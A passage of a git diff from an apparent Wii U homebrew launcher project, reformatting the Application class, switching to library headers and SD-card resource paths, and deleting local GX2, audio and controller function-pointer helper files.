sgFinishedLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgTotalBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_550_t; - -#ifdef __cplusplus -} -#endif - -#endif // __LOADER_DEFS_H_ diff --git a/src/Application.cpp b/src/Application.cpp index f75be37..2e843cb 100644 --- a/src/Application.cpp +++ b/src/Application.cpp @@ -16,15 +16,16 @@ ****************************************************************************/ #include #include +#include #include #include #include "Application.h" #include "common/common.h" -#include "gui/FreeTypeGX.h" -#include "gui/VPadController.h" -#include "gui/WPadController.h" +#include +#include +#include #include "resources/Resources.h" -#include "sounds/SoundHandler.hpp" +#include #include "system/memory.h" #include "utils/logger.h" @@ -33,13 +34,12 @@ bool Application::exitApplication = false; bool Application::quitRequest = false; Application::Application() - : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000) - , bgMusic(NULL) - , video(NULL) + : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000) + , bgMusic(NULL) + , video(NULL) , mainWindow(NULL) , fontSystem(NULL) - , exitCode(EXIT_RELAUNCH_ON_LOAD) -{ + , exitCode(EXIT_RELAUNCH_ON_LOAD) { controller[0] = new VPadController(GuiTrigger::CHANNEL_1); controller[1] = new WPadController(GuiTrigger::CHANNEL_2); controller[2] = new WPadController(GuiTrigger::CHANNEL_3); @@ -47,7 +47,7 @@ Application::Application() controller[4] = new WPadController(GuiTrigger::CHANNEL_5); //! load resources - Resources::LoadFiles("fs:/wiiu/apps/homebrew_launcher/resources"); + Resources::LoadFiles("fs:/vol/external01/wiiu/apps/homebrew_launcher/resources"); //! create bgMusic bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg")); @@ -55,13 +55,12 @@ Application::Application() bgMusic->Play(); bgMusic->SetVolume(50); - exitApplication = false; + exitApplication = false; ProcUIInit(OSSavesDone_ReadyToRelease); } -Application::~Application() -{ +Application::~Application() { log_printf("Destroy music\n"); delete bgMusic; @@ -72,75 +71,68 @@ Application::~Application() delete controller[i]; log_printf("Destroy async deleter\n"); - AsyncDeleter::destroyInstance(); + AsyncDeleter::destroyInstance(); log_printf("Clear resources\n"); Resources::Clear(); log_printf("Stop sound handler\n"); - SoundHandler::DestroyInstance(); + SoundHandler::DestroyInstance(); ProcUIShutdown(); - - if(quitRequest) - { - SYSRelaunchTitle(0, 0); - } } -int Application::exec() -{ +int Application::exec() { //! start main GX2 thread resumeThread(); //! now wait for thread to finish - shutdownThread(); + shutdownThread(); - return exitCode; + return exitCode; } -void Application::quit(int code) -{ +void Application::quit(int code) { exitCode = code; exitApplication = true; quitRequest = true; } -void Application::fadeOut() -{ - GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 }); +void Application::fadeOut() { + GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color) { + 0, 0, 0, 255 + }); - for(int i = 0; i < 255; i += 10) - { + for(int i = 0; i < 255; i += 10) { if(i > 255) i = 255; fadeOut.setAlpha(i / 255.0f); //! start rendering DRC - video->prepareDrcRendering(); - mainWindow->drawDrc(video); + video->prepareDrcRendering(); + mainWindow->drawDrc(video); GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS); fadeOut.draw(video); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); - video->drcDrawDone(); + video->drcDrawDone(); //! start rendering TV - video->prepareTvRendering(); + video->prepareTvRendering(); - mainWindow->drawTv(video); + mainWindow->drawTv(video); GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS); fadeOut.draw(video); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); - video->tvDrawDone(); + video->tvDrawDone(); - //! as last point update the effects as it can drop elements - mainWindow->updateEffects(); + //! as last point update the effects as it can drop elements + mainWindow->updateEffects(); - video->waitForVSync(); + video->waitForVSync(); } //! one last cleared black screen @@ -153,24 +145,19 @@ void Application::fadeOut() video->drcEnable(false); } -bool Application::procUI(void) -{ +bool Application::procUI(void) { bool executeProcess = false; - switch(ProcUIProcessMessages(true)) - { - case PROCUI_STATUS_EXITING: - { + switch(ProcUIProcessMessages(true)) { + case PROCUI_STATUS_EXITING: { log_printf("PROCUI_STATUS_EXITING\n"); exitCode = EXIT_SUCCESS; exitApplication = true; break; } - case PROCUI_STATUS_RELEASE_FOREGROUND: - { + case PROCUI_STATUS_RELEASE_FOREGROUND: { log_printf("PROCUI_STATUS_RELEASE_FOREGROUND\n"); - if(video != NULL) - { + if(video != NULL) { // we can turn of the screen but we don't need to and it will display the last image video->tvEnable(true); video->drcEnable(true); @@ -186,19 +173,14 @@ bool Application::procUI(void) log_printf("deinitialze memory\n"); memoryRelease(); ProcUIDrawDoneRelease(); - } - else - { + } else { ProcUIDrawDoneRelease(); } break; } - case PROCUI_STATUS_IN_FOREGROUND: - { - if(!quitRequest) - { - if(video == NULL) - { + case PROCUI_STATUS_IN_FOREGROUND: { + if(!quitRequest) { + if(video == NULL) { log_printf("PROCUI_STATUS_IN_FOREGROUND\n"); log_printf("initialze memory\n"); memoryInitialize(); @@ -212,8 +194,7 @@ bool Application::procUI(void) FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); GuiText::setPresetFont(fontSystem); - if(mainWindow == NULL) - { + if(mainWindow == NULL) { log_printf("Initialize main window\n"); mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); } @@ -232,19 +213,16 @@ bool Application::procUI(void) } -void Application::executeThread(void) -{ +void Application::executeThread(void) { log_printf("Entering main loop\n"); //! main GX2 loop (60 Hz cycle with max priority on core 1) - while(!exitApplication) - { - if(procUI() == false) - continue; + while(!exitApplication) { + if(procUI() == false) + continue; - //! Read out inputs - for(int i = 0; i < 5; i++) - { + //! Read out inputs + for(int i = 0; i < 5; i++) { if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false) continue; @@ -253,35 +231,34 @@ void Application::executeThread(void) } //! start rendering DRC - video->prepareDrcRendering(); - mainWindow->drawDrc(video); - video->drcDrawDone(); + video->prepareDrcRendering(); + mainWindow->drawDrc(video); + video->drcDrawDone(); //! start rendering TV - video->prepareTvRendering(); - mainWindow->drawTv(video); - video->tvDrawDone(); + video->prepareTvRendering(); + mainWindow->drawTv(video); + video->tvDrawDone(); //! enable screen after first frame render - if(video->getFrameCount() == 0) { + if(video->getFrameCount() == 0) { video->tvEnable(true); video->drcEnable(true); - } + } - //! as last point update the effects as it can drop elements - mainWindow->updateEffects(); + //! as last point update the effects as it can drop elements + mainWindow->updateEffects(); - video->waitForVSync(); + video->waitForVSync(); //! transfer elements to real delete list here after all processes are finished //! the elements are transfered to another list to delete the elements in a separate thread //! and avoid blocking the GUI thread AsyncDeleter::triggerDeleteProcess(); - } + } //! in case we exit to a homebrew let's smoothly fade out - if(video) - { + if(video) { fadeOut(); } diff --git a/src/Application.h b/src/Application.h index 46dc8d9..dc5d757 100644 --- a/src/Application.h +++ b/src/Application.h @@ -18,14 +18,13 @@ #define _APPLICATION_H #include "menu/MainWindow.h" -#include "video/CVideo.h" +#include #include "system/CThread.h" // forward declaration class FreeTypeGX; -class Application : public CThread -{ +class Application : public CThread { public: static Application * instance() { if(!applicationInstance) diff --git a/src/common/common.h b/src/common/common.h index 3d30d3f..1d7b585 100644 --- a/src/common/common.h +++ b/src/common/common.h @@ -18,6 +18,8 @@ extern "C" { #define MEM_BASE (0x00800000) #endif +#define HBL_TEMP_RPX_PATH "fs:/vol/external01/wiiu/apps/homebrew_launcher/temp" +#define HBL_TEMP_RPX_FILE "fs:/vol/external01/wiiu/apps/homebrew_launcher/temp/temp.rpx" #define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) #define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) diff --git a/src/common/gx2_ext.h b/src/common/gx2_ext.h deleted file mode 100644 index 2746298..0000000 --- a/src/common/gx2_ext.h +++ /dev/null @@ -1,177 +0,0 @@ -#ifndef __GX2_EXTENSION_H -#define __GX2_EXTENSION_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include -#include -#include -#include -#include -#include -#include - -#define GX2_FALSE 0 -#define GX2_TRUE 1 -#define GX2_DISABLE 0 -#define GX2_ENABLE 1 - -#define GX2_COMMAND_BUFFER_SIZE 0x400000 -#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 -#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 -#define GX2_SHADER_ALIGNMENT 0x100 -#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 -#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 - -#define GX2_AA_BUFFER_CLEAR_VALUE 0xCC - -#define GX2_COMP_SEL_NONE 0x04040405 -#define GX2_COMP_SEL_X001 0x00040405 -#define GX2_COMP_SEL_XY01 0x00010405 -#define GX2_COMP_SEL_XYZ1 0x00010205 -#define GX2_COMP_SEL_XYZW 0x00010203 -#define GX2_COMP_SEL_XXXX 0x00000000 -#define GX2_COMP_SEL_YYYY 0x01010101 -#define GX2_COMP_SEL_ZZZZ 0x02020202 -#define GX2_COMP_SEL_WWWW 0x03030303 -#define GX2_COMP_SEL_WZYX 0x03020100 -#define GX2_COMP_SEL_WXYZ 0x03000102 - -static const u32 attribute_dest_comp_selector[20] = { - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW -}; - -static const u32 texture_comp_selector[54] = { - GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 -}; - -typedef struct _GX2Color { - u8 r, g, b, a; -} GX2Color; - -typedef struct _GX2ColorF32 { - f32 r, g, b, a; -} GX2ColorF32; - -static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa) -{ - depthBuffer->surface.dim = dim; - depthBuffer->surface.width = width; - depthBuffer->surface.height = height; - depthBuffer->surface.depth = depth; - depthBuffer->surface.mipLevels = 1; - depthBuffer->surface.format = format; - depthBuffer->surface.aa = aa; - depthBuffer->surface.use = (GX2SurfaceUse)(((format==GX2_SURFACE_FORMAT_UNORM_R24_X8) || (format==GX2_SURFACE_FORMAT_FLOAT_D24_S8)) ? - GX2_SURFACE_USE_DEPTH_BUFFER : (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE)); - depthBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT; - depthBuffer->surface.swizzle = 0; - depthBuffer->viewMip = 0; - depthBuffer->viewFirstSlice = 0; - depthBuffer->viewNumSlices = depth; - depthBuffer->depthClear = 1.0f; - depthBuffer->stencilClear = 0; - depthBuffer->hiZPtr = NULL; - depthBuffer->hiZSize = 0; - GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); - GX2InitDepthBufferRegs(depthBuffer); -} - -static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa) -{ - colorBuffer->surface.dim = dim; - colorBuffer->surface.width = width; - colorBuffer->surface.height = height; - colorBuffer->surface.depth = depth; - colorBuffer->surface.mipLevels = 1; - colorBuffer->surface.format = format; - colorBuffer->surface.aa = aa; - colorBuffer->surface.use = GX2_SURFACE_USE_TEXTURE_COLOR_BUFFER_TV; - colorBuffer->surface.imageSize = 0; - colorBuffer->surface.image = NULL; - colorBuffer->surface.mipmapSize = 0; - colorBuffer->surface.mipmaps = NULL; - colorBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT; - colorBuffer->surface.swizzle = 0; - colorBuffer->surface.alignment = 0; - colorBuffer->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - colorBuffer->surface.mipLevelOffset[i] = 0; - colorBuffer->viewMip = 0; - colorBuffer->viewFirstSlice = 0; - colorBuffer->viewNumSlices = depth; - colorBuffer->aaBuffer = NULL; - colorBuffer->aaSize = 0; - for(i = 0; i < 5; i++) - colorBuffer->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); - GX2InitColorBufferRegs(colorBuffer); -} - -static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, GX2AttribFormat format) -{ - attr->location = location; - attr->buffer = buffer; - attr->offset = offset; - attr->format = format; - attr->type = GX2_ATTRIB_INDEX_PER_VERTEX; - attr->aluDivisor = 0; - attr->mask = attribute_dest_comp_selector[format & 0xff]; - attr->endianSwap = GX2_ENDIAN_SWAP_DEFAULT; -} - -static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 mipLevels, GX2SurfaceFormat format, GX2SurfaceDim dim, GX2TileMode tile) -{ - tex->surface.dim = dim; - tex->surface.width = width; - tex->surface.height = height; - tex->surface.depth = depth; - tex->surface.mipLevels = mipLevels; - tex->surface.format = format; - tex->surface.aa = GX2_AA_MODE1X; - tex->surface.use = GX2_SURFACE_USE_TEXTURE; - tex->surface.imageSize = 0; - tex->surface.image = NULL; - tex->surface.mipmapSize = 0; - tex->surface.mipmaps = NULL; - tex->surface.tileMode = tile; - tex->surface.swizzle = 0; - tex->surface.alignment = 0; - tex->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - tex->surface.mipLevelOffset[i] = 0; - tex->viewFirstMip = 0; - tex->viewNumMips = mipLevels; - tex->viewFirstSlice = 0; - tex->viewNumSlices = depth; - tex->compMap = texture_comp_selector[format & 0x3f]; - for(i = 0; i < 5; i++) - tex->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&tex->surface); - GX2InitTextureRegs(tex); -} - -#ifdef __cplusplus -} -#endif - -#endif /* COMMON_H */ - diff --git a/src/common/os_defs.h b/src/common/os_defs.h index b92c527..6394cc8 100644 --- a/src/common/os_defs.h +++ b/src/common/os_defs.h @@ -5,8 +5,7 @@ extern "C" { #endif -typedef struct _OsSpecifics -{ +typedef struct _OsSpecifics { unsigned int addr_OSDynLoad_Acquire; unsigned int addr_OSDynLoad_FindExport; unsigned int addr_OSTitle_main_entry; @@ -26,8 +25,7 @@ typedef struct _OsSpecifics unsigned int orig_LiWaitOneChunkInstr; } OsSpecifics; -typedef struct _s_mem_area -{ +typedef struct _s_mem_area { unsigned int address; unsigned int size; struct _s_mem_area* next; diff --git a/src/common/types.h b/src/common/types.h deleted file mode 100644 index c1eb26c..0000000 --- a/src/common/types.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -#include - -#endif /* TYPES_H */ - diff --git a/src/dynamic_libs/ax_functions.c b/src/dynamic_libs/ax_functions.c deleted file mode 100644 index a50440d..0000000 --- a/src/dynamic_libs/ax_functions.c +++ /dev/null @@ -1,112 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "common/common.h" -#include "exports.h" -#include "ax_functions.h" -/* -EXPORT_DECL(void, AXInitWithParams, u32 * params); -EXPORT_DECL(void, AXInit, void); -EXPORT_DECL(void, AXQuit, void); -EXPORT_DECL(u32, AXGetInputSamplesPerSec, void); -EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void); -EXPORT_DECL(s32, AXVoiceBegin, void *v); -EXPORT_DECL(s32, AXVoiceEnd, void *v); -EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type); -EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf); -EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type); -EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol); -EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix); -EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state); -EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src); -EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio) -EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg); -EXPORT_DECL(void, AXFreeVoice, void *v); -EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); -EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); -EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); -EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); -*/ -void InitAXFunctionPointers(void) -{ - /* - unsigned int sound_handle = 0; - unsigned int *funcPointer = 0; - - if(OS_FIRMWARE >= 400) - { - AXInit = 0; - - OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); - OS_FIND_EXPORT(sound_handle, AXInitWithParams); - OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec); - } - else - { - AXInitWithParams = 0; - AXGetInputSamplesPerSec = 0; - - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - OS_FIND_EXPORT(sound_handle, AXInit); - } - - OS_FIND_EXPORT(sound_handle, AXQuit); - OS_FIND_EXPORT(sound_handle, AXVoiceBegin); - OS_FIND_EXPORT(sound_handle, AXVoiceEnd); - OS_FIND_EXPORT(sound_handle, AXSetVoiceType); - OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType); - OS_FIND_EXPORT(sound_handle, AXSetVoiceVe); - OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix); - OS_FIND_EXPORT(sound_handle, AXSetVoiceState); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio); - OS_FIND_EXPORT(sound_handle, AXAcquireVoice); - OS_FIND_EXPORT(sound_handle, AXFreeVoice); - OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback); - OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); - OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); - OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); - */ -} - -void ProperlyEndTransitionAudio(void) -{ - bool (* check_os_audio_transition_flag_old)(void); - void (* AXInit_old)(void); - void (* AXQuit_old)(void); - - unsigned int *funcPointer = 0; - OSDynLoadModule sound_handle; - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - - OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old); - OS_FIND_EXPORT_EX(sound_handle, AXInit, AXInit_old); - OS_FIND_EXPORT_EX(sound_handle, AXQuit, AXQuit_old); - - if (check_os_audio_transition_flag_old()) - { - AXInit_old(); - AXQuit_old(); - } -} diff --git a/src/dynamic_libs/ax_functions.h b/src/dynamic_libs/ax_functions.h deleted file mode 100644 index ac2deec..0000000 --- a/src/dynamic_libs/ax_functions.h +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __AX_FUNCTIONS_H_ -#define __AX_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "common/types.h" - -void InitAXFunctionPointers(void); -void ProperlyEndTransitionAudio(void); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/src/dynamic_libs/exports.h b/src/dynamic_libs/exports.h deleted file mode 100644 index 53ba488..0000000 --- a/src/dynamic_libs/exports.h +++ /dev/null @@ -1,26 +0,0 @@ -#ifndef __EXPORTS_H_ -#define __EXPORTS_H_ - -#include -#include - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; -#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); - - -#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val - -#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func, funcPointer); - -#define OS_FIND_EXPORT_EX(handle, func, func_p) \ - funcPointer = 0; \ - OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \ - if(!funcPointer) \ - OSFatal("Function " # func " is NULL"); \ - EXPORT_FUNC_WRITE(func_p, funcPointer); - -#endif diff --git a/src/dynamic_libs/padscore_functions.c b/src/dynamic_libs/padscore_functions.c deleted file mode 100644 index 698ef63..0000000 --- a/src/dynamic_libs/padscore_functions.c +++ /dev/null @@ -1,50 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "exports.h" -#include "padscore_functions.h" - -EXPORT_DECL(void, KPADInit, void); -EXPORT_DECL(s32, WPADProbe, s32 chan, u32 * pad_type); -EXPORT_DECL(s32, WPADSetDataFormat, s32 chan, s32 format); -EXPORT_DECL(void, WPADEnableURCC, s32 enable); -EXPORT_DECL(void, WPADRead, s32 chan, void * data); -EXPORT_DECL(s32, KPADRead, s32 chan, void * data, u32 size); - -void InitPadScoreFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - OSDynLoadModule padscore_handle; - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); - - OS_FIND_EXPORT(padscore_handle, KPADInit); - OS_FIND_EXPORT(padscore_handle, WPADProbe); - OS_FIND_EXPORT(padscore_handle, WPADSetDataFormat); - OS_FIND_EXPORT(padscore_handle, WPADEnableURCC); - OS_FIND_EXPORT(padscore_handle, WPADRead); - OS_FIND_EXPORT(padscore_handle, KPADRead); - - KPADInit(); - WPADEnableURCC(1); -} - diff --git a/src/dynamic_libs/padscore_functions.h b/src/dynamic_libs/padscore_functions.h deleted file mode 100644 index 68cf989..0000000 --- a/src/dynamic_libs/padscore_functions.h +++ /dev/null @@ -1,122 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __PAD_SCORE_FUNCTIONS_H_ -#define __PAD_SCORE_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "common/types.h" - -#define WPAD_BUTTON_LEFT 0x0001 -#define WPAD_BUTTON_RIGHT 0x0002 -#define WPAD_BUTTON_DOWN 0x0004 -#define WPAD_BUTTON_UP 0x0008 -#define WPAD_BUTTON_PLUS 0x0010 -#define WPAD_BUTTON_2 0x0100 -#define WPAD_BUTTON_1 0x0200 -#define WPAD_BUTTON_B 0x0400 -#define WPAD_BUTTON_A 0x0800 -#define WPAD_BUTTON_MINUS 0x1000 -#define WPAD_BUTTON_Z 0x2000 -#define WPAD_BUTTON_C 0x4000 -#define WPAD_BUTTON_HOME 0x8000 - -#define WPAD_CLASSIC_BUTTON_UP 0x0001 -#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 -#define WPAD_CLASSIC_BUTTON_ZR 0x0004 -#define WPAD_CLASSIC_BUTTON_X 0x0008 -#define WPAD_CLASSIC_BUTTON_A 0x0010 -#define WPAD_CLASSIC_BUTTON_Y 0x0020 -#define WPAD_CLASSIC_BUTTON_B 0x0040 -#define WPAD_CLASSIC_BUTTON_ZL 0x0080 -#define WPAD_CLASSIC_BUTTON_R 0x0200 -#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 -#define WPAD_CLASSIC_BUTTON_HOME 0x0800 -#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 -#define WPAD_CLASSIC_BUTTON_L 0x2000 -#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 -#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 - -void InitPadScoreFunctionPointers(void); - - -typedef struct _KPADData -{ - u32 btns_h; - u32 btns_d; - u32 btns_r; - u32 unused_1[5]; - f32 pos_x; - f32 pos_y; - u32 unused_2[3]; - f32 angle_x; - f32 angle_y; - u32 unused_3[8]; - u8 device_type; - u8 wpad_error; - u8 pos_valid; - u8 unused_4[1]; - - union - { - struct - { - f32 stick_x; - f32 stick_y; - } nunchuck; - - struct - { - u32 btns_h; - u32 btns_d; - u32 btns_r; - f32 lstick_x; - f32 lstick_y; - f32 rstick_x; - f32 rstick_y; - f32 ltrigger; - f32 rtrigger; - } classic; - - u32 unused_6[20]; - }; - u32 unused_7[16]; -} KPADData; - -typedef void (* wpad_connect_callback_t)(s32 chan, s32 status); - -extern void (* KPADInit)(void); -extern s32 (* WPADProbe)(s32 chan, u32 * pad_type); -extern s32 (* WPADSetDataFormat)(s32 chan, s32 format); -extern void (* WPADEnableURCC)(s32 enable); -extern void (* WPADRead)(s32 chan, void * data); -extern s32 (* KPADRead)(s32 chan, void * data, u32 size); - -#ifdef __cplusplus -} -#endif - -#endif // __PAD_SCORE_FUNCTIONS_H_ diff --git a/src/entry.c b/src/entry.c index ea0bfce..eeeafb0 100644 --- a/src/entry.c +++ b/src/entry.c @@ -6,8 +6,7 @@ static volatile uint8_t ucRunOnce = 0; -int main(int argc, char **argv) -{ +int main(int argc, char **argv) { //! ******************************************************************* //! * Jump to our application * //! ******************************************************************* diff --git a/src/fs/CFile.cpp b/src/fs/CFile.cpp index 161b980..c048892 100644 --- a/src/fs/CFile.cpp +++ b/src/fs/CFile.cpp @@ 